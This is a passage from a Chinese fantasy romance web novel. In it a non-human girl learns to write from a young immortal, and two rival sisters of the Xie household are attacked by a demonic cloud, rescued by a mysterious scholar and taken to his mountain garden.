阿姮看到他衣袖间露出来那截冷白的腕骨上一串珠石若盛粉霞,鲜红的丝绳垂下几缕流苏,她摸了摸自己指间那颗霞珠,对他露出一个笑容。 隔一街,几重人群,少年清淡一瞥,随后目光重新落在纸上,笔尖游弋,墨字成行,他将一粒丹药递给坐在面前的妇人:“温水送服,可解你体内经年的淤毒。” “多谢仙长!” 那妇人接来丹药,忙说道。 程净竹搁下笔,将写好的药方给她:“送服丹药三日后,再照此方抓药。” 茶棚里,阿姮收敛笑容,又成了那副无聊的臭脸,霖娘戳了戳她胳膊,说道:“阿姮,程公子他们在给百姓们看病,你不要捣乱。” “人类都会生病吗?” 阿姮抬起一只手,撑住下巴,问道。 “人都会经历从孩童到成人,再到垂垂老去,这当中,吃饭睡觉生病是每一个人都会经历的,所谓生老病死,就是如此了。” 霖娘说。 “那你们活着有什么意思呢?”阿姮看着那些排着队挤在程净竹与积玉案前的人们,晚秋的阳光不够温暖,他们有的人站了会儿就忍不住瑟缩起脖颈,“你们只能活短短几十载,而你们却要在这短暂的时间里飞快地经历长大,衰老,死亡,匆匆忙忙,不知所谓。” 霖娘闻言,看向她:“可你不照样羡慕人类的感知?” 阿姮一顿,迎上她的目光。 “我曾读过一本书,书上说,‘子非鱼,安知鱼之乐’,”霖娘说着,见阿姮眉头一皱,她便连忙解释,“意思就是说,你不是一条鱼,所以你不会知道鱼到底快不快乐,阿姮,你不是人类,所以你不知道人类的乐趣,哪怕是匆匆忙忙的一生,人类也是认真度过的。” “谁说我不知道?”阿姮不太懂什么鱼乐不乐的,“你们人类的感官很奇妙。” 人类的舌头尝得到很多滋味,因为这些滋味,他们创造了很多好吃的东西,人类的眼睛看得到很多颜色,所以他们可以将那些颜色穿在身上,簪在发间,画在纸上。 人类的耳朵可以辨别很多声音,所以他们作丝竹之乐,酬种种唱词。 “那,” 霖娘望着阿姮,问,“你想做人吗?” 阿姮一怔。 她……想做人吗? 茶棚外,天色阴灰了一些,冷风阵阵,这是要下雨的征兆,积玉怕人们淋雨,便招呼他们明日再来,没有排上的人们有些懊丧,但还是逐渐散去了。 一滴冷雨被风斜吹落来程净竹面前的纸上,晕湿一点墨痕,他抬起眼,只见原本趴在对面茶棚的桌上,有气无力的少女不知何时站在他身边。 案前最后一个病人半晌没有一点声音,程净竹记录的笔尖一顿,他的目光从那少女脸上,挪到面前的青年身上,他重复:“除胸腹闷痛,还有什么?” 青年没由来地打了个冷颤,忙将粘在那女子脸上的目光收回来,涨红了脸,结结巴巴道:“还,还……口干舌燥。” 程净竹记下症状,又为他把脉,写了方子给他。 青年捧着方子站起来小心翼翼地道了谢,转身就钻入雨里。 程净竹侧过脸,见阿姮坐在石阶上,双手捧着脸,他搁下笔,开口道:“做什么?” “不做什么。” 阿姮语气有点闷闷的,檐外细雨如丝,她盯着看:“那两个谢氏女门也不出,成天不是看书就是作什么诗,她们不肯见你,一定是怕被你看出来她们记起些什么,这样下去,要什么时候才能取出执根?你又不让我抓她们来逼问。” 程净竹听出她的怨念,他将桌上的药瓶都整理好,收入一个小小的药囊中:“你就算抓了她们来逼问也不会有结果,因为执迷的人不会意识到自己有所执迷,所谓当局者迷,旁观者清,你若用心,自然会找到症结所在。” “我又没有心,怎么用?” 阿姮把烦躁挂在脸上,她盯着程净竹胸口看了会儿,目光又逐渐顺着他的衣襟落到他面前的纸上。 那似乎是作废的药方,但阿姮不认字,看不出来什么东西,她转过脸,见积玉案前还有两个颤颤巍巍的老翁不肯离去,霖娘因为阿姮那一杯热茶的恶作剧,此时正殷勤地提笔帮积玉做记录。 积玉看了一眼,愕然道:“你这字……也太丑了吧。” “……你就说你认不认得出写的什么吧?” 霖娘干巴巴道。 “……行。” 虽然难看,但确实每个字都看得出来是哪个,积玉无法反驳。 细雨纷纷,行人匆匆,檐下,阿姮回过头,望向程净竹:“小神仙,你先别收。” 程净竹收拾笔墨的动作一顿,那双眼朝她看过来。 阿姮朝他笑了一下:“你教我写字,好不好?” 烟雨蒙蒙,程净竹看着她片刻,没有说话,却将笔沾了墨,递给她。 阿姮一把接了过来。 程净竹看她用惯常吃饭拿勺的方式握笔,他手指做出一个手势,道:“这样握。” 阿姮看了看他的手,学着他握住笔,眉头一下皱起来,又换回拿饭勺的方式,她说:“这样握着舒服。” 她一直不那么听话。 程净竹却也并不再说些什么,容忍着她不端正的握笔姿势,问道:“你想写什么字?” “姮。” 阿姮望着他说道。 程净竹闻言,便垂下眼帘,手指沾了案边的雨水,在雪白的纸上一笔一划地写出来一个字,淡淡的水痕并不清晰,但他手指所过之处,金芒若缕,闪动微痕。 阿姮转头望了一眼霖娘纸上的字迹,再看程净竹那个金芒闪烁的字,过分鲜明的对比,终于让她领会了一些人类文字的趣味。 霖娘的字真的很丑。 阿姮兴冲冲地落笔,转瞬勾画出一个字来,她的笑容一下消失:“好丑。” 程净竹看了一眼,沉默。 但见阿姮像是顷刻失去了所有的兴趣,就要将笔丢下,程净竹一把握住她的手,阿姮一顿,一下抬头,望向他无暇的侧脸。 程净竹并没有看她,温热的掌心包裹她的手背,阿姮短暂晃神的刹那,他握着她的手在纸上游弋,发出轻微的,沙沙的声音,隐没在一片连绵的雨声里,阿姮盯着他浓密的眼睫,忽然,他松开了手。 阿姮后知后觉,只见雪白的纸上一个筋骨清峻的“姮”字。 “习字并不是一件信手拈来的事,但若你勤加练习,多些耐性,就一定会有所进益,”程净竹抬起眼帘,看向她,“这便是用心。” 习字如是,取执根亦然。 阿姮听出他的弦外之音,却弯起眼睛,盯着纸上那个漂亮的字看了好一会儿,忽然,她说:“在万艳山上,我曾进入你的幻境,但很奇怪的是,你的幻境里一片漆黑,我什么也看不见,但我听到了一些声音。” 程净竹眼中神光微动。 阿姮继续说道:“我听到一个关于姮娥偷吃仙丹奔月的故事,但故事结束,他说,这个故事是假的,其实姮娥不是一个人,而是一群仙子。” “小神仙,幻境是你的,”阿姮看着他,“那个讲故事的人,是你吗?” 雨声,行人匆匆的步履声,对面茶棚里的谈笑声,混杂一片,纷纷入耳,程净竹听到阿姮问他:“那个听你讲故事的人,又是谁?” 烟雨潮湿,天色青灰。 程净竹静默地凝视她,喉咙滚动一下,风雨纷杂,他的手指在袖间紧紧地攥握起来,阿姮毫无所觉,她说不清楚他究竟是怎样一副神情,他像是生气,又好像是别的什么,她辨不出,只好转过脸,小声:“不说就算了。” “小神仙,我们真有缘份。” 阿姮扬着脸观雨,又说:“你看,好巧你说的姮娥的姮,也是我的名字。” 她原先在黑水河里游荡的时候,听到那小孩儿念那句诗,一下就记住了,那么多个字,她只觉得这个“姮”字特别。 程净竹并不说话。 阿姮握着笔,一不小心蘸了很多的墨,她也不在乎,笔尖接触纸面,浓墨如滴,很快,三个大字占据整张纸,一笔一划明显比方才那个“姮”字要好太多,虽然还是快散架的样子,但至少并不歪歪扭扭,还有一点点端正。 阿姮抬起下巴,一手拉了拉程净竹的衣袖:“你看,你的名字我是不是写得很好?” “我虽然没有你们人类的心脏,” 阿姮看向他腰侧那只荷包,那上面绣着他的名字,为着这个名字,她简直扎透了那副壳子的十指,她凑近,歪着脑袋问他,“如果这就是用心的话,那我应该已经很用心了吧?” 程净竹盯着纸上那三个字,眼睫微动。 冷雨扑案,墨迹湿润。 纷杂的雨点敲击着他的耳膜,他迎上她的目光。 阿姮的眼睛弯弯的,漆黑又明亮:“小神仙,我学得好吗?” “还不错。” 程净竹语气平淡。 “那你有没有什么奖励给我?”阿姮说着,目光直勾勾地盯着他的嘴唇,她已经好久没有尝过他的血了。 程净竹垂眸睨她:“这种程度,也好意思讨赏?” “……不给就不给。” 阿姮说着,转过脸,打量起积玉。 忽然,一只手捏住她的后颈,阿姮有一种被她觊觎的猎物反扼住命脉的感觉,她被迫转过头,对上他那双剔透漂亮的眼,他的语气泛冷,隐含警告:“你最好不要打积玉的主意,否则,我不会再帮你。” 阿姮脸色一变。 他明明说过,会一直帮她的。 阿姮挣脱他的手,再度看向那边,积玉正在给人号脉,分毫没有察觉她的目光。 就因为这个积玉,他竟然说,不会再帮她? 阿姮生气极了,丢开毛笔,转身走到霖娘身边,霖娘抬起头看到她气呼呼的样子,忙站直身体,凑到她身边,低声问:“怎么了?” 阿姮正要说些什么,漆黑的眸子却顷刻变得暗红,她顿住了。 “阿姮?” 霖娘疑惑地唤。 阿姮回过神,她眨了眨眼睛,说:“她们出门了。” 她们? 霖娘顿时反应过来,阿姮说的是谢家那两位小姐,她知道阿姮在那两位小姐身上留了两缕红雾,她们的一举一动都在阿姮的掌控之中。 可谢家那两位小姐,怎会在雨天,同时出门呢? 此时雨势更急,噼里啪啦的砸下,一架马车停在城东临河的一条街边,马车内,谢澹云手捧一张宣纸,纸上是以“风雨雪晴”为题的四首诗,马车外,雨声淋漓,婢女忽然在外面唤:“小姐,好像出来了!” 谢澹云闻言,白皙纤细的手指挑开帘子,一双美目轻抬,越过蒙蒙烟雨,她看到对面江天楼中不少人出来。 那些人都是一副书生打扮,锦绣襕衫,他们彼此含笑揖礼,当中有一紫衣人似乎最受他们欢迎,他们一一与他见礼,随后才纷纷离去,而那紫衣人则对上前来撑伞的奴仆摆了摆手,自己骑上马背,驰入浓浓雨雾中。 奴仆们赶紧跑着跟上去,隔着河,谢澹云似乎还隐约听到那紫衣人清朗不羁的笑声。 虽不见其真容,但这般举止,当真潇洒落拓,风姿绰约。 “小姐,那应该便是今年诗会的魁首了!” 婢女仍好奇地望着他消失的那片雨幕:“诗会上不少人说小姐您,还有……朝燕小姐是怕了诗会,所以才不敢赴约,可那些才子平日里满口学问,却被这位初来乍到的公子以四首气象诗夺得魁首,他还为您和朝燕小姐写诗正名,足见他的品行,不愧是兰大人的座上宾。” 谢澹云没说话,垂下眼帘,看向第二页纸上: “山霭苍苍碧,云天澹澹青。” 她忽然问:“香豆,你可知道他姓什么叫什么?” 婢女香豆摇了摇头,说道:“奴婢差人打听过了,可没人知道他叫什么,就连那日诗会上,所有人都只知道兰大人唤他檀郎,哦,檀香的檀。” 檀郎。 谢澹云敛眸片刻,对香豆道:“回去吧。” 香豆应了一声,很快车夫拉起缰绳,马车动了,谢澹云才要放下窗边的帘子,目光却忽然凝在不远处。 那里杨柳依依,一架马车停在那里。 那马车窗边的帘子正被一只手掀开,而马车中的那女子露出半张姣好的脸,那双眼睛与她相视。 “小姐,那似乎是……澹云小姐?” 杨柳岸,马车边,婢女迟疑地出声。 谢朝燕坐在马车中,手中卷着两页纸,她盯着那架渐渐远去的马车,对婢女道: “快回去吧。”《 》 40-45 第41章 第41章 是火种的味道。 谢澹云从谢府东边的角门乘小轿归院, 才由香豆服侍着换了身衣裳,外面雨已停,天色也很快黑了下来。 院中雾气未消,几个婢女提灯簇拥着那大夫人孙氏拾阶入室, 孙氏左右一睃, 四下昏昧, 唯有靠窗的案边画烛明亮,她见女儿澹云在那片明彻的光影中,钗环尽除, 发髻微松, 身上淡青色的衫裙, 外头拢着一件银线团花锦缎披风, 手握一卷书,香豆静悄悄地站在她身边, 手中端着一碗热茶, 热烟缕缕飘散开来,香豆听到步履声, 抬头见是夫人, 弯身正要唤, 却见夫人摇摇头, 香豆一下住了口。 谢澹云观书入神, 浑然未觉,孙氏步履很轻地走到她案前,伸手将那卷书抽走:“这都什么时辰了, 屋子里冷得像个冰窟,连饭也不摆。” 香豆立即垂首,惶然道:“夫人恕罪……” “娘。” 谢澹云起身, 很快从书案后出来,对孙氏行礼,然后揽住她一臂:“是女儿担心屋子里置炭太热,会使我神思不够清明,看不下书,所以才不让她们弄的,夜饭也是女儿不想吃,所以才没有摆。” 孙氏闻言,眉头不但没有舒展,反而更加紧锁,她将书放到桌上,叹了口气:“不知道的,还以为你上辈子是书虫托生的,饭不吃,我看你是要将这些书都嚼了吃下去不可……云儿啊,你自小喜欢读书,娘也都随你,可你得明白,这些东西攥在男人手里才是有用的东西,你是个女儿家,纵然满腹诗书,又能怎样呢?” 孙氏一把握住女儿的手,苦口婆心:“你爹没福分,早早就去了,你祖父虽是侍郎,却也马上就要致仕还乡了,听说他在天都这两年多病,说不准什么时候就……若他不在了,这谢家就是你叔叔的了,我们孤儿寡母的寄人篱下,又要怎么过日子呢?为娘的倒也没什么所谓,只是云儿啊,娘得趁你祖父还在,你叔叔还不能明目张胆地欺负我们,先给你找个好人家,你嫁了人,娘这心里的石头才能落地啊。” 谢澹云垂下眼帘,片刻,见香豆奉来一碗新茶,便接来端给孙氏:“女儿自然明白娘的苦心。” 孙氏被谢澹云扶着坐下,又接来茶碗抿了一口,才又道:“你既然明白为娘的心,又为什么讳疾忌医,不肯见那二位仙长?听说,这两日他们在城中义诊,救治了不少人。” 谢澹云沉默片刻,说:“娘,女儿没病。” 孙氏抬头看她:“怎么你们一个二个的都是这样?我听说西院儿里,那朝燕也死活不肯见那二位仙长,我那弟妹没办法,好说歹说,才说动朝燕,若明日无雨,便去城外碧蒿山上的永济寺拜佛求平安符,上回我才明里暗里骂过你叔叔一通,他也许是惦记着有外客在,怕面子上过不去,所以让你婶婶来请咱们一块儿去,我已经答应了。” 说着,孙氏将女儿拉着坐在身边:“他们夫妻两个惯瞧咱们母女不顺眼,连带着那朝燕也铆足了力气,事事与你相争。我知道,那位兰大人请你们去诗会,你没去成,心中遗憾,可云儿你须得知道,你与朝燕在诗会上争出个高下又能怎么样呢?总不能变个儿郎去朝堂上走一遭,你若嫁得比她好,远比什么都强。” 谢澹云对上母亲殷切的目光,随后她垂首,低声道:“是,女儿记下了。” 翌日天果然不雨,谢家女眷早早出门,乘马车出城去了,霖娘见阿姮气定神闲地坐在梳妆台前,难免有些疑惑:“你之前还为两位谢小姐不肯出门,什么也不做而烦恼,怎么今日她们出去了,你却不跟上去瞧瞧?” 阿姮手中握一把木梳,她慢条斯理地梳理着肩前一缕卷曲的长发:“她们不想被任何人发现她们恢复前世记忆的事,所以才对我们避而不见,我想过了,捕猎嘛,要沉得住气,若是我跟她们太紧,她们只会藏得越深,我本来就不是很懂你们人类,到时候我只怕什么都看不出来,还不如先放她们几天,让她们少些戒备。” “好像有些道理。” 霖娘点点头,望了一眼窗外,清晨的光线还不那么明朗,雾气很重,回廊尽头,隐约可见谢府奴仆们正在清扫院中落叶,再看阿姮,她已将木梳搁在台面上,站起身要往门外去,霖娘忙问:“你不是要放她们几天吗?这是去哪儿?” “我去找小神仙,让他教我傀儡术。” 阿姮站在门边,雾蒙蒙的天色映照她水盈盈的眼睛,发间梅花若雪:“积玉有没有教你这个?” “……没有。” 霖娘觉得自己简直多余一问,阿姮不去跟着谢氏女还能去做什么,她将阿姮拉了回来,按到梳妆台前:“那你也不能披头散发地出门啊,春梁说了,这样不庄重。” 忽然提起春梁,霖娘拿起来梳子,不由低声道:“也不知道春梁投到了哪儿,如今又成了谁。” 阿姮透过铜镜,看向霖娘:“你为她难过?” “不啊,我为她高兴。” 霖娘一边为阿姮梳头,一边说:“她不管成了谁都好,阎王不是说了吗?她们会到好人家的,这一辈子应该不会再受苦了吧。” 这几日,霖娘在术法上得了积玉指点,进步很多,同样进步很多的还有她梳头的手艺,谢府里的婢女花样百出,霖娘向负责她们这两个女客起居用物的婢女取了经,受益良多,她说话间,很快就为阿姮梳好一个漂亮的发髻,又将万木春簪回她发间。 随后,霖娘又兴致勃勃地从怀中掏出一个小小的圆盒,阿姮看了一眼,问:“这是什么?” “是胭脂。” 霖娘伸长了脖子,把脸往她面前凑:“阿姮你看你看,我好看吗?” 她对上阿姮那双毫无伪装的暗红眼瞳,忽然意识到些什么,她悻悻地缩回脖子,小声嘟囔:“我忘了,你眼睛看不到,真可惜。” 阿姮疑惑地问:“你为什么要涂这个在脸上?” “我不比活人,这脸色惨白得谁见了不觉得吓人?”霖娘望着镜中的自己,有了一层淡淡的红,那种惨白被压下去许多,像活人一样,有了种白里透红的血色,她满意地抿起唇笑,“这样才好看嘛。” 阿姮这双眼实在看不出霖娘脸上有什么特别的,张口问道:“是什么颜色?” “红色啊。”霖娘说道。 “哦,我喜欢红色,”阿姮想了想,抬起下颌,“那我也要涂。” 谢府女眷天不亮就出了门,抵达永济寺中,天光渐亮,大夫人孙氏与二夫人王氏领着各自的女儿在大殿中拜过菩萨,又一块儿捐了些香油钱。 小沙弥说平安符还要交由师父开光,便留女客们在禅房小坐,那二夫人王氏抿了几口寺中的清茶,用手帕擦了擦嘴,抬眸看向坐在另一边的大嫂,状似无意,张口道:“大嫂,不是说好都捐五十两吗?我怎么听说,你捐了七十两?” “永济寺香火鼎盛,不差这些香油钱,我不过是有几分诚心,就给菩萨几分罢了。”孙氏手指间捏着念珠,神情平淡。 此时,一位婢女从外面来,她先是看了一眼二夫人,随后走到大夫人孙氏的身边,附耳低声道:“打听清楚了,二夫人她……捐了一百两。” 孙氏捏念珠的手一顿,她眼皮一抬,眼风扫向坐在那边的王氏,王氏一笑,垂眉道:“诚如嫂嫂所言,妾有几分诚心,就得给菩萨几分诚心。” 大爷一去,谢府就攥在了二爷手里,但对于孙氏与谢澹云这对孤儿寡母,谢二爷就算是为了自己的体面,也不敢让她们母女两个缺衣少食,何况谢侍郎还健在,谢二爷什么都不能做得太过火。 但孙氏自己心里知道,谢二爷虽然没有短她们母女吃喝,可除此之外却也什么都没有了,王氏想要什么都可以问谢二爷要,不过区区一百两银子而已,算得什么诚心? 谢府里一旦有个什么事,办个宴席什么的,孙氏作为大房夫人不可能不出来与那些外客的夫人们来往,可大爷一走,府里的用度仅仅维持着她们吃喝,而她母女的表面风光,都是孙氏从娘家带出来的体己维持的。 七十两,已经很多了。 但王氏分明就是因为前几日孙氏当着二位上清紫霄宫仙长的面落了她夫君面子而故意在香油钱上找她的不快,暗讽她寒酸。 孙氏脸色未变,袖中手指却捏紧念珠:“都是为女儿求好姻缘,你我也算是各有各的诚心了。” 谢澹云携婢女香豆在寺中寻找那些名士留下的佳句,不经意一路顺着黄墙修竹,穿过碎石小径,到更清幽处。 谢澹云抬首一望,只见不远处有一八角亭,而亭中此时正有人在。 “是朝燕小姐。” 香豆在旁说道。 那边似乎也发现了她们,亭中的谢朝燕望了过来,见是谢澹云,她微微一笑,却有些敷衍:“原来是澹云姐姐,姐姐与我还真是志趣相投,都找到这处好地方来了。” “朝燕妹妹。” 谢澹云语气不咸不淡,几步走入亭中去,目光越过远处层云幽嶂:“你我也不是第一回来永济寺了。” 这是在说她连装和睦都装不像。 谢朝燕一哽。 谢澹云在石桌边坐下,此处没有瓜果茶水,她用绣帕擦了擦颊边细汗:“听说妹妹不肯见那两位仙长,却怎么肯来拜菩萨?” 谢朝燕闻言一顿,她的目光落在谢澹云身上,好一会儿,她走到石桌边,在谢澹云身边坐下:“那姐姐呢?姐姐不也是如此吗?” 谢朝燕直勾勾地盯着谢澹云,而谢澹云亦抬眸迎上她的目光。 两人相视,一时无言。 “天降流火,偏落在我们身上,”谢朝燕忽然又张口,她的语气意味不明,“澹云姐姐,天底下怎么会有这样巧的事呢?也难怪外面的人都传你我是因为畏惧兰大人,怕在诗会上露怯,所以装病。” “那么妹妹你是装病吗?” 谢澹云轻描淡写。 谢朝燕目光凝在她脸上片刻,忽然笑起来,娇细的声音好似嗔怪:“哎呀姐姐,好端端的,你疑起我来?咱们两个一起出的事,你疑我,不就是疑你自己么?这话说得有什么意思呢?” 诡异的气氛笼罩在两女之中。 半晌,谢澹云笑了笑:“是啊,没什么意思。” 山中冷风呼啸,穿草过林,松声簌簌,这股风来得太急太剧烈,迎面吹得亭中小姐婢女们都快要睁不开眼,浑身寒颤。 “小姐,您快看!” 香豆忽然喊道。 谢澹云勉强睁起眼睛,只见四下雾气浓重,竟然遮天蔽日,连半点后山的苍翠也不见,她衣袖被吹得翻飞,而那谢朝燕随身的婢女小繁搓了搓被这冷风吹得麻木的脸,惊慌地喊道:“小姐!奴婢,奴婢听说附近州县不太平,有妖怪作祟……难道……” 妖怪? 谢朝燕与谢澹云心中皆是一惊。 “去,快去找家仆!” 谢朝燕说道。 她们来永济寺,身边本有会些拳脚功夫的家仆随侍,但他们此时都在禅房外守着,谢朝燕立即拉上小繁走出八角亭,可周围雾气实在是太浓了,她看不清路,慌张地抬头,却忽然从那雾中看到一缕黑云。 “赵芳如,你要去哪儿?” 与此同时,她听到一道与她如出一辙的声音。 谢朝燕瞳孔一缩。 “芳如,你背叛我!” 那道声音忽然变了,变成一道刻入她骨髓里的男人的声音,那声音满含怒火,像要将她撕碎。 “啊!” 谢朝燕猝然尖叫一声,她双眼眼白顷刻被黑色吞没,忽然撂开小繁的手,转身奔入浓雾中,小繁吓了一跳,忙唤:“小姐!” 然而雾气太重,谢朝燕的身影很快淹没。 谢澹云见状,往前奔了几步,雾中那缕黑气忽然缠绕而来,钻入她耳心,紧接着,她听到一道轻柔的声音:“得此贤妻,夫复何求。” 谢澹云整个人的血液仿佛顷刻冷透。 她的眼白被黑色充盈,身躯蓦地冲入雾中。 “小姐!小姐!” “澹云小姐!” “朝燕小姐!” 香豆与小繁惊慌的声音交错。 浓烈的雾气中,两道纤瘦袅娜的影子在其间飞快穿行,山风猛烈吹拂,山径上草叶纷飞,谢朝燕发了疯似的躲避着那些声音,她一边跑,一边捂住自己的耳朵。 不知道什么时候,她忽然感觉到风吹得她整张脸都麻木了,唇齿都泛着冷,她浑身止不住地发抖,笼罩眼白的黑色渐渐退去,她似乎清醒了点,整个身躯忽然僵住,她怔怔地抬眸,只见周遭雾气淡了许多,而这里并不是永济寺的后山,而是不知名的荒野。 她忽然听到步履声,警惕地回过头,却见谢澹云远远奔来,她发髻松散,钗环歪斜,脸色煞白,也许是看见谢朝燕,她猛然一顿,脚下不动了。 “你跑什么?” 谢澹云眼中早没有那种诡异的黑色,她望着谢朝燕,褪去眼底的茫然,她慢慢拧起眉头。 “你又跑什么?” 谢朝燕自己也是衫裙凌乱,鬓发松散,她惊魂未定,却呛声道:“姐姐何必再装呢?你是不是……” 谢朝燕的声音戛然而止,她杏眼猛地大睁,谢澹云见此,她一下回头,黑色的积云缠裹雷电,朝她们扑了过来。 这一瞬,谢澹云与谢朝燕同时嗅到一股隐密的幽香,那香气直逼心窍,顷刻乱了她们的呼吸,谢澹云与谢朝燕同时跑了起来。 “你哑巴了?不知道提醒一声?” 谢澹云一边跑,一边气喘吁吁地质问。 “你才哑巴了呢!” 谢朝燕一边跑,一边说道。 她们都是闺秀,本就身娇体弱,怎么可能跑得过那非人的东西,滋滋的电火声越来越近,谢朝燕不禁回头看了一眼,只见那黑云沉沉地压了过来,她脸色惨白,脚下一慌,踩到谢澹云的脚后跟,两人顿时一起扑倒在地。 谢澹云与谢朝燕同时抬首,正见那闪烁电光的黑云浓浓地朝她们迎面压来,张开漆黑的大口,冷风加剧。 正是此时,“哒哒哒”的马蹄在剧烈的风声中隐约临近,很快,谢澹云与谢朝燕看到一匹快马擦身而过,那马背上紫衣郎迅若闪电,奔向黑云的刹那,他手掌在锋利的匕首上一擦,就着满掌的血抓出袖中黄符奋力抛了出去。 那沾血的黄符落入黑云中,顷刻燃烧成火,那黑云被火灼烧,猛然紧缩成一团,黑色的烟气减淡,雷电全消。 黑云飞快窜入天际,消失不见。 那紫衣郎手握缰绳,马儿引颈长嘶一声,他在茫茫白雾中回过头来,看向瘫坐在地上那两名姝丽:“二位姑娘,没事吧?” 风雾之中,那紫衣郎金冠玉带,一双天生含情的眼微微弯起,风采斐然。 谢澹云与谢朝燕背后两缕红雾淡去,而她们毫无所觉。 谢府厢房中,阿姮忽然拍开霖娘在她脸上涂涂抹抹的手,“腾”的一下站起来,暗红的眼眸微微眯起。 火种。 是火种的味道。 谢氏女竟然遇见火种了? 阿姮猛然朝门外奔去,霖娘满手都是被打翻出来的红胭脂,她却来不及收拾,崩溃地追出去:“阿姮!你去哪儿!你的脸……” 今日程净竹与积玉仍在城中义诊,两张窄案前排满了人,程净竹才为一人诊过脉,细问病痛,才蘸墨落笔写药方。 笔尖才碰到雪白的纸,忽然人群中一阵喧杂。 “哎你看那姑娘……她怎么……” “你快看呀……” 人们的声音落到程净竹耳边,他瞥见腕上霞珠微微闪烁流光,他笔尖一顿,一瞬抬起眼帘,正见那白衣少女拨开最前面一层人群,一双伪装过的漆黑眼眸朝他看来。 明亮的天光照见她的脸。 一半脸苍白的颜色被淡淡的红中和,杏花烟润,而另外一边,却是十分鲜艳的两道红胭脂指痕。 像一只花脸猫。 那只花脸猫很快跑到他面前来: “小神仙!” 第42章 第42章 “你们明明记起了一些不该记…… 晚秋风寒料峭, 茫茫雾气飞浮,谢澹云与谢朝燕同乘一马,身上各裹一件宽大的氅衣,一名年轻的仆从牵着缰绳, 一双眼角上挑的眼睛笑得眯起来:“二位小姐见谅, 我家主人向来不怕冷, 就算是氅衣也没什么棉絮里子毛领子的,所以只好等到了府里,再请二位小姐饮姜茶烤热炭祛寒, 医治脚伤, 暂作休整, 前面就不远了。” 谢澹云与谢朝燕几乎同时举目, 漫漫雾气中,那紫衣郎大步流星, 与身边几个士子并肩而行, 也不知在说些什么,背影挺拔, 举止落拓, 时而大笑。 “你家主人会道术?” 谢澹云张口, 也许是逃跑的时候嗓子灌了风, 她的声音有点哑。 那仆从摇头:“我家主人哪里会那些呢?只不过是他身上正好带着永济寺高僧那里求来的护身符咒, 方才他扔出去吓跑那妖怪的就是那东西了。” 谢朝燕整个人瑟缩在氅衣中,她扭头扫视一番,约有十来名仆从随马而行, 而这些人都是那紫衣郎府中的下人,他们只管埋头行路,几乎目不斜视, 只有拉着缰绳的这灰衣上挑眼的仆从笑眯眯的爱说话。 谢府女眷往碧蒿山永济寺上香,按理应该在晌午前后差不多便能回来,但谢二爷却只等回了先赶回家中报信的奴仆,他一听说女儿朝燕与侄女澹云在永济寺后山遇见妖物下落不明,便立即亲自跑到上清紫霄宫药王殿两位仙长义诊之处求救,哪知,人们却说两位仙长已经出城去了。 茫茫山野,冷风呼啸,暗红的雾气掠过长空,骤然下坠凝出一道身影,阿姮抬起双眼,两道金光穿云下落顿时显露程净竹与积玉两人的身形。 霖娘来得最慢,淡淡水气凝聚成形,她跑到阿姮身边左右一望:“是这里吗?” 阿姮眼底暗红的光微动,她扫视四周,雾气茫茫,衰草连天,俨然一片荒野,她那时明明感受到火种出现在这里。 但此刻她胸腔中的那枚火种早已偃旗息鼓,不为所动。 一张白符忽然从她身边掠过,顷刻燃尽,化为点点火光垂落满地衰草中很快托起一点黄色的纸片,那纸片上还有点朱砂红痕。 阿姮回头,程净竹指尖金芒闪烁。 “小师叔,那像是佛家的符咒。” 积玉看出那一点红痕像残缺的梵文,他立即想到:“难道有人救了谢家二位小姐?” 积玉看向阿姮:“阿姮姑娘,你可还能感应到她们如今在哪里?” 阿姮背着手,转向山雾朦胧中去:“跟我来。” 一行四人行过荒野,又穿过一片山林,前面豁然开朗,不远处白雾茫茫,隐约可见一座园子,那园子门墙苍老,但似乎被人精心修葺过,并无金钉浮沤的奢靡,反倒有一种立于山野的幽幽古朴之美。 阿姮走近,见漆黑的大门上挂着一块匾,她歪过脑袋问身边的霖娘:“上面写了什么?” “檀园。” 霖娘望着匾额上的金字,念了出来。 “荒郊野岭,怎会有这么大一座园子?”积玉眉头微蹙。 还不待他们敲门,大门便从里面拉开来一条缝,那人从门缝中来回将他们这一行人看了看,谨慎地问道:“你们是哪里来的?” “我们是借住在彭州城谢侍郎家的外客,谢家两位小姐去永济寺上香迟迟未归,所以我们一路寻至此处。” 程净竹说道。 那人听了,忙将门拉开来,此时方才显露他那一身仆从打扮,那双上挑的眼睛含笑眯起来,拱手恭敬道:“能一路找到这儿来,想必几位定是修行的仙长了,我家主人才命小的套了车,不多时便要送归二位小姐,想不到你们先找来了,几位,快些请进吧!” 说着,那仆从退开,俯身请他们进门。 阿姮拉着霖娘率先跨进门槛,她垂下眼帘正好对上那仆从偷偷的打量,仆从像是被吓了一跳,连忙低下头,嘴边笑意不减:“我家主人正在花厅中与几个朋友饮宴,几位仙长也请先去花厅安坐吧,那两位小姐受了脚伤,如今正在厢房上药。” 眼下正值晚秋,园中却并无凋敝之色,应季的鲜花若锦,在廊下连绵不绝,穿过长廊,踏过鹅卵石小径,往一片桂树林中去,偶有风来,摇动金桂如雨,阿姮走出金桂林,发上沾了不少细碎的花瓣,林下有泉,又有假山,山洞蜿蜒交错,千百成孔,午后的日光穿透那些孔洞,在山石中留下斑驳的光影。 霖娘跟着阿姮一边走,一边望来望去,她发现这园子里山石多,山洞也多,便有些奇怪:“这些山石,怎么到处是洞?” 那仆从听见了,说道:“你们也看到了,那些山洞虽然小,但都是可以容纳一人弯身通过的,主人爱好治园,所以他那双眼睛格外能够发现园中的意趣。” 程净竹停下来,伸手在低矮的山洞口的石壁上摸了一下,他抬起那根手指,日光照见一缕茸茸的白毛。 那仆从走上旁边的石阶,见他们没跟上来,回头望见程净竹手中的茸毛,便笑着道:“啊,附近常有野猫偷跑入园,这些洞也方便了它们躲藏,我们也常在里头放些肉给它们吃。” 阿姮弯腰往里望,果然有空掉的碗碟,上面还残留有生肉的碎末。 “这园子似乎有些年头了。” 程净竹掸掉猫毛,顺阶往上。 那仆从一边走,一边说道:“是啊,这园子原先是一位老学政的,那老学政致仕还乡修在这儿,就是想独享这份幽僻,只是后来住着又觉得冷清,所以日渐荒废,我家主人不忍见这样好的园子就这么荒了,所以买了下来,重新修葺了一番。” 临近花厅,便有说笑声穿透门扉而来。 那仆从飞快跑到门口,躬身道:“主人,有几位仙长临门,他们是来寻谢家两位小姐的。” 厅内正与几位士子说笑的紫衣郎闻言,便立即放下手中的酒盏:“黄安,还不快请贵客进来。” 紫衣郎起身走到门边,正见两男两女从廊上来。 其他几个士子忙跟到门边来。 几位士子醉眼朦胧地望过去,便见那白衣少女步履轻快,发髻乌黑若云,红萼白梅娇艳欲滴,廊外光影斜照而来,少女肌映流霞,双眼秋波流慧,艳丽至极。 